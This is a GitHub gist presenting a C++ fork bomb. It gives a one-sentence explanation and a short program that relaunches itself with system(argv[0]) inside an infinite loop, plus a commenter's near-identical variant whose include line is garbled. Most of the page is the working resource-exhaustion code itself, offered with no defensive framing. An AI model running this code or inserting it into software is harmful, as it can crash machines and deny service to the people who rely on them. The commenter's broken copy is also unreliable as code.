Skip to content

Instantly share code, notes, and snippets.

@obihann
Last active January 14, 2023 15:12
Show Gist options
  • Save obihann/8964236 to your computer and use it in GitHub Desktop.
Save obihann/8964236 to your computer and use it in GitHub Desktop.
C++ Fork bomb exmaple

A fork bomb is a script that uses an infinite loop in an attempt to utilize all resources and crash the system.

#include <cstdlib>
int main(int argc, char **argv){
while (1) system(argv[0]);
return 0;
}
@hydranix
Copy link

include

int main(int argc, char **argv){
for (;;)
std::system(argv[0]);
return 0;
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment